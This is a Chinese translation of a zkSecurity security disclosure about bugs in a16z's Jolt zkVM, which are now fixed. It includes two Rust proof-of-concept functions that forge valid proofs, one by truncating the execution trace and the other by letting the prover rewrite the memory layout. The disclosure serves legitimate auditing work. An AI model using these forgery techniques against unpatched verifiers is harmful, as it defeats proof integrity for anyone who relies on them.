改进 Jolt zkVM 的安全性 - ZKSECURITY

zkSecurity 团队与 a16z 合作,对 Jolt zkVM 进行了深入研究,发现了多个严重的安全漏洞,如执行跟踪验证、输出检查和内存布局约束等方面的问题。这些漏洞可能允许恶意证明者绕过验证。Jolt 团队已经修复了这些问题, 并通过这次合作显示了对 zkVM 进行安全审计的重要性。

jolt vm

在过去的几周里,zkSecurity 深入研究了 a16z 的 Jolt zkVM。这次与 a16z 的合作旨在帮助加强他们的零知识 (ZK) 堆栈的安全性。Jolt 的 zkVM 有望成为 zk 领域的关键参与者,而像这样的安全工作对于确保它能够兑现其承诺至关重要。

通过这次审查,我们发现了一些重大的错误。这些问题可能允许恶意 Prover 轻松伪造证明,从而带来严重的风险。虽然这不是正式的审计,但它证明了人工检查在发现关键漏洞方面的价值。

什么是 Jolt zkVM?

zkVM(零知识虚拟机)使用零知识证明来证明和验证特定 ISA(指令集架构)中的计算。Jolt 由 a16z 开发,是一种专为 RISC-V 架构设计的 zkVM。它使以 Rust、C 和 C++ 等高级语言编写的程序(编译为 RISC-V 汇编)能够由不受信任的 Prover 有效地证明,并由任何人简洁地验证。

为了证明一个程序,Jolt 首先将该程序编译成 RISC-V 汇编二进制文件,并执行该二进制文件以获得执行跟踪。然后,主要工作是证明执行跟踪有效。从高层次来看,该证明涉及三个部分:

  1. 指令查找,以证明每个指令的执行
  2. 离线内存检查,以确保内存的读/写一致。
  3. R1CS 约束,用于“粘合”执行的每个部分,如程序计数器 (PC) 更新。

指令查找是 Jolt 的独特之处(Jolt 代表“仅一次查找”)。与其他依赖于每个指令的自定义约束的 zkVM 不同,Jolt 对所有指令执行使用 Lasso 查找 技术。这种方法不仅提高了 Prover 的效率,而且显着降低了系统的复杂性。因此,Jolt 提供了更好的可审计性和可扩展性,使其更易于维护和扩展。有关更多详细信息,我们将发表一篇关于 Jolt 如何工作的博文。请继续关注更新!

我们的发现

我们的审查发现了 Jolt zkVM 实现中的几个关键安全缺陷。

截断的执行跟踪仍然有效

Jolt 验证器基本上是在检查提取-解码-执行周期中每个步骤的正确性。如果执行跟踪中的每个步骤都正确,则整个计算被认为是有效的。但是,验证器不检查执行是否最终终止。因此,如果有效的执行跟踪在完成之前被截断,则验证器将验证各个步骤,并且仍然认为该跟踪有效,即使计算不完整也是如此。在这种情况下,输出将不正确,因为包含最终输出的内存可能尚未写入。此漏洞允许 Prover 使用截断的跟踪和不正确的输出伪造证明。

为了利用这个错误,我们可以截断一个有效的跟踪并将输出设置为 0,并且该证明仍然被认为是有效的。下面的示例为 fib(9) = 0 创建了一个伪造的证明:

    fn fib_e2e<F: JoltField, PCS: CommitmentScheme<Field = F>>() {
        let artifact_guard = FIB_FILE_LOCK.lock().unwrap();
        let mut program = host::Program::new("fibonacci-guest");
        program.set_input(&9u32);
        let (bytecode, memory_init) = program.decode();
        let (mut io_device, mut trace) = program.trace();

        println!("origin trace length {}", trace.len());
        trace.truncate(100); // 截断跟踪
        println!("truncated trace length {}", trace.len());
        io_device.outputs[0] = 0; // 将输出更改为 0
        drop(artifact_guard);

        let preprocessing =
            RV32IJoltVM::preprocess(bytecode.clone(), memory_init, 1 << 20, 1 << 20, 1 << 20);
        let (proof, commitments, debug_info) =
            <RV32IJoltVM as Jolt<F, PCS, C, M>>::prove(io_device, trace, preprocessing.clone());
        let verification_result =
            RV32IJoltVM::verify(preprocessing, proof, commitments, debug_info);
        assert!(
            verification_result.is_ok(),
            "Verification failed with error: {:?}",
            verification_result.err()
        );
    }

jolt 团队已经通过提供终止位 修复了这个问题。成功终止的程序会将终止位设置为 1。验证器现在将始终检查程序是否终止或发生 panic。

输出检查未按预期约束

Jolt 验证器的一个关键部分是检查声称的程序输出是否与执行输出一致。Jolt 使用 OutputSumcheckProof 组件来实现这一点。它检查输出数据是否等于特定地址的最终内存值。

为此,Jolt 引入了一个“掩码”多项式 mask_poly,它在输入/输出的地址处评估为 1,在其他地方评估为 0。然后,它检查 mask_poly * (final_memory_value_poly - input_output_value_poly) = 0。但是,由于疏忽,mask_poly 被错误地构造为一个零多项式。这会导致任意的 input_output_value_poly 通过检查。这意味着输出检查不起作用,并且任意输出都将通过检查。

此外,我们在验证器中发现 mask_polyinput_output_value_poly 被评估为不正确的值。由于第一个错误,此错误未在测试中被发现。

我们的 pull request 已被合并以修复此问题。

Prover 可以使用任意内存布局

为了执行离线内存检查,Jolt 将寄存器、程序 I/O 和 RAM 视为映射到 memory_layout 中的单个地址空间。此内存布局的结构是固定的,但程序 I/O 和 RAM 的大小可能因程序而异。

由于内存布局只需要构建一次,因此验证器可以将其视为预处理材料。但是,先前的实现将内存布局作为证明的一部分。这样,它允许恶意 Prover 能够随意设置内存地址。

为了利用这个错误,Prover 可以设置终止位和输出的内存地址以匹配输入的地址。这确保了这些值将始终反映输入,而输入在 Prover 的控制之下,同时仍保持有效的证明:

fn forge_memory_layout() {
    let artifact_guard = FIB_FILE_LOCK.lock().unwrap();
    let mut program = host::Program::new("fibonacci-guest");
    program.set_input(&[1u8]);
    let (bytecode, memory_init) = program.decode();
    let (mut io_device, mut trace) = program.trace();
    // trace 需要被截断
    // 以确保我们的输出不会被程序覆盖
    trace.truncate(100);

    // 输入的第一个索引需要是 1
    // 以使终止位等于 true
    // 由于第一个错误的修复
    io_device.inputs = (&[1, 3, 3, 7]).to_vec();

    // 将输出更改为与输入相同
    io_device.outputs = (&[1, 3, 3, 7]).to_vec();
    drop(artifact_guard);

    // 将输出和终止位的内存地址更改为与输入相同的地址
    io_device.memory_layout.output_start = io_device.memory_layout.input_start;
    io_device.memory_layout.output_end = io_device.memory_layout.input_end;
    io_device.memory_layout.termination = io_device.memory_layout.input_start;

    let preprocessing =
        RV32IJoltVM::preprocess(bytecode.clone(), memory_init, 1 << 20, 1 << 20, 1 << 20);
    let (proof, commitments, debug_info) = <RV32IJoltVM as Jolt<
        Fr,
        HyperKZG<Bn254, KeccakTranscript>,
        C,
        M,
        KeccakTranscript,
    >>::prove(
        io_device, trace, preprocessing.clone()
    );
    let verification_result =
        RV32IJoltVM::verify(preprocessing, proof, commitments, debug_info);
    assert!(
        verification_result.is_ok(),
        "Verification failed with error: {:?}",
        verification_result.err()
    );
}

此外,Prover 还可以修改 panic 位,以将发生 panic 的程序伪造为未发生 panic 的程序。

jolt 团队通过将 memory_layout 移动到预处理材料中 修复了这个问题,确保它独立于 Prover 的输入。

总结

这次与 Jolt 团队的合作发现了 Jolt zkVM 中的几个关键漏洞,例如执行跟踪验证、输出检查和内存布局约束方面的问题。这些错误现在已修复,可能允许恶意 Prover 绕过验证。

这项工作突出了审计在 zkVM 中的重要性,在 zkVM 中,深层技术堆栈可能会掩盖关键问题。随着 zkVM 技术的不断发展,我们将继续检查 Jolt 和 zkVM 的安全性,分享见解以帮助加强这些创新系统。

  • 原文链接: blog.zksecurity.xyz/post...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
zksecurity
zksecurity
Security audits, development, and research for ZKP, FHE, and MPC applications, and more generally advanced cryptography.